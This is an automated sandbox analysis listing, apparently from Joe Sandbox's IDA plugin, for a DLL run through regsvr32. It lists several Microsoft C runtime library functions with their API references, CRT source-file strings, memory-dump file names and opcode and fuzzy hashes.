Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: b22e410beffd46978b7d2afc3cd069083579849eea9e12d44582c014dad21e95
Instruction ID: c1f8112261206beaa0fda4b6683aef0dc38e0cb6ee3d4e311a15053ab41967b3
Opcode Fuzzy Hash: b22e410beffd46978b7d2afc3cd069083579849eea9e12d44582c014dad21e95
Instruction Fuzzy Hash: 47411C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 902fc8e7192f88527d8aa4075598999d81e9371814558b5bb1293b80f5ddf804
Instruction ID: 7c05dd3e5b110925f13ad37327732dcd8002d47ee9d5ea83dce110c9ec813185
Opcode Fuzzy Hash: 902fc8e7192f88527d8aa4075598999d81e9371814558b5bb1293b80f5ddf804
Instruction Fuzzy Hash: B6412931E1C7868AEAB08B24E8447AE62E0F385365F604335D6ED427F5DB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: f14d95e79dbe0c44160fd2e577ceb585774a34057722467733e8b2231de90ff9
Instruction ID: 3bda70979e2781d9fddcfcf2e5c0164bb67a8e60ab66e06e656835f18ed7d390
Opcode Fuzzy Hash: f14d95e79dbe0c44160fd2e577ceb585774a34057722467733e8b2231de90ff9
Instruction Fuzzy Hash: 3A313D72A09BC585E7B08B19E84076E73E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

_wcstombs_s_l, xrefs: 000007FEF9D38060
bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: f1a9f826516545701b922f50b6ebdc9d8be9d112825cbb7a30042366d5f9c4a9
Instruction ID: 93e11cc603146a2a446790da906b27a7af07cbd58e629032b7549c60c7683809
Opcode Fuzzy Hash: f1a9f826516545701b922f50b6ebdc9d8be9d112825cbb7a30042366d5f9c4a9
Instruction Fuzzy Hash: 4A311632A0DB8685EAB09B15E8407AEB7E1F385390F204225D6DD03BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
_fclose_nolock, xrefs: 000007FEF9D40710
(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 60dcfdadd0e03516a84dc335c67980ba4999d51805a5974115e67aa140ed36a2
Instruction ID: 33c12517d78d4ed4392c0426817be49b117e9f4526535de823d8000f08003729
Opcode Fuzzy Hash: 60dcfdadd0e03516a84dc335c67980ba4999d51805a5974115e67aa140ed36a2
Instruction Fuzzy Hash: 81315A36A28A4686E7909B18E88476E77E0F380794F205125F6CE47BF5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8
_isatty, xrefs: 000007FEF9D3ABBF
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: eccc8fed36cae0d9a6e14cbb0507e08d02c226084f69b474f0b5454228c7b857
Instruction ID: 5484b95fc3e7d8404cd289b1f0f4537a60eed7c4b35d0a2d8431c0a05804e9c3
Opcode Fuzzy Hash: eccc8fed36cae0d9a6e14cbb0507e08d02c226084f69b474f0b5454228c7b857
Instruction Fuzzy Hash: F121AE71B2C6428AE7D89B24EC8476DB3E1F380356F609635E1DD476E4D77ED4408B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609
fclose, xrefs: 000007FEF9D40610

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: d31558689191b30e1debc2aa339dabcf4ed505ad636b5f29a69950b4dd90694d
Instruction ID: f9aafbf46e1760e7e33942ab5f057e126490a1467b3f18266bcf817366ff1fd0
Opcode Fuzzy Hash: d31558689191b30e1debc2aa339dabcf4ed505ad636b5f29a69950b4dd90694d
Instruction Fuzzy Hash: 5B214C72A1D64286EB909F58E88476E77E0F380394F605525E6CE476E4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3
(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 291659c115524f578e2ce7e37289a3f2ddc7b5bd59cb83b4eaeda8d1fa0b4c89
Instruction ID: 30d3218aedea65180b246fff2bb8bf0e075bfccfde79c9cac609a79bfc2ef9ad
Opcode Fuzzy Hash: 291659c115524f578e2ce7e37289a3f2ddc7b5bd59cb83b4eaeda8d1fa0b4c89
Instruction Fuzzy Hash: 4D210132918A8186E790DB24E8817AEB7E0F7C4780F614022E7DD83AB9DB7DD954CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

_set_error_mode, xrefs: 000007FEF9D32D54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D
("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: 8fb5a3cdd681d6a82b02ff81c277c719a79eaaec91177dc4ca99e8a0364f32ec
Instruction ID: a668ed4e1bbba8445569e891f5cf80d88739aba3494b1a7bdc37a92eebe2cfe6
Opcode Fuzzy Hash: 8fb5a3cdd681d6a82b02ff81c277c719a79eaaec91177dc4ca99e8a0364f32ec
Instruction Fuzzy Hash: 9A211A31E1D242CAE7E08F28EC44B6E72E0F344395F605536E6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

_vsnprintf_s_l, xrefs: 000007FEF9D3273F
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: 9835c0e10505228e0bf6b58a8474be5f834255bb2e0cd334fa5f5b7dd6645e21
Instruction ID: 95dcae893ef448fe982beb095dca5536e461671d142ad8532ffb40fd25d94385
Opcode Fuzzy Hash: 9835c0e10505228e0bf6b58a8474be5f834255bb2e0cd334fa5f5b7dd6645e21
Instruction Fuzzy Hash: 1D114931E0C64A8AF7E08B14EC457BE62E0F750385F608425D2DD46AF5DBBEE4888B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

_wcstombs_l_helper, xrefs: 000007FEF9D3768F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688
pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 9cdd31bc13f045a84d1723aba15172f6d66e597d1102c0836733c4c00faf9839
Instruction ID: 1601facfcd706bab2d32f933ec1205f4baa2dc81ccca363939aa7dccefded7e9
Opcode Fuzzy Hash: 9cdd31bc13f045a84d1723aba15172f6d66e597d1102c0836733c4c00faf9839
Instruction Fuzzy Hash: FD112831A08A86D6E7F08B24EC547BE62D1F384395FA0862581DD826E5DF7ED184CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031
_fileno, xrefs: 000007FEF9D3B038

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: c9b4c7eaa6f702e756935e157fc704da053bc53339d856ee334f13e3a5237ddc
Instruction ID: 5e243132be0629da1aa3e0b85d41bf950597728ff9ff9f12ab22c17114f4bf60
Opcode Fuzzy Hash: c9b4c7eaa6f702e756935e157fc704da053bc53339d856ee334f13e3a5237ddc
Instruction Fuzzy Hash: DB115A71A2D6468AEB949B54E948B6E73E0F340344F605225F6D943AA8C77ED509CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

_wcstombs_s_l, xrefs: 000007FEF9D37EE6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: bee2d7726ac50f9e7da98411c921f1d389d1484d621cac995bcaec902168c7d6
Instruction ID: 316e0cb66aac120259ec5fe7cf49b7d80870e23a4d2a4d539908350f5dd74761
Opcode Fuzzy Hash: bee2d7726ac50f9e7da98411c921f1d389d1484d621cac995bcaec902168c7d6
Instruction Fuzzy Hash: C1112A31A0CA87C9F7A09B54EC047AE76E0F340345F704425D6CC466F4CBBEE8888B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: e993b8295e4f15c9eb240b3e6c5194696fb031badc4e4f03d14c808df6e1b3aa
Instruction ID: 481e6957a9246cfaf4e6bd41be43a49f1ef1e62944320565ea2ccce3e108d99c
Opcode Fuzzy Hash: e993b8295e4f15c9eb240b3e6c5194696fb031badc4e4f03d14c808df6e1b3aa
Instruction Fuzzy Hash: F9012D21A2C64286E3D09B25EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

_vsnprintf_helper, xrefs: 000007FEF9D320EC
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

